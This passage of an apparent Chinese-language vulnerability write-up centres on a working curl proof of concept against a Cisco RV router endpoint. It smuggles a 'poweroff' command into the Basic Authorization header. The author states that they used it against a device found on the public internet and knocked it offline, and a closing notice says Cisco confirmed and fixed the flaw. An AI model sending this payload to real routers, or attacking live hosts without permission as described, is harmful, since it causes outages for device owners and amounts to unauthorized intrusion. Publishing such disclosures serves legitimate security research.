curl -i -s -k  -X $'GET' \
    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \
    -b $'local_lang=%22English%22; ru=0' \
    $'https://127.0.0.1/download/dniapi/'
```

在公网上找了个用1day打getshell失败 但使用POC成功宕机的

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F34ea5e2cf7af2b507648973ac21ed13a13324da4.png?generation=1628152813066384\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fb6b232d95b85133c28b461ade59308793a86cd43.png?generation=1628152840976647\&alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2F12ad516e89f173e40c5de0572f48a99b015cf81b.png?generation=1628152830065364\&alt=media)

### Notices

目前该漏洞已经提交给了思科厂商，思科已确认了该漏洞并修复。<https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv-code-execution-9UVJr7k4.html>

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2Fsync%2Fc566faa7405e9ecddc6b19f6be3166c958cb2259.png?generation=1628152840392253\&alt=media)
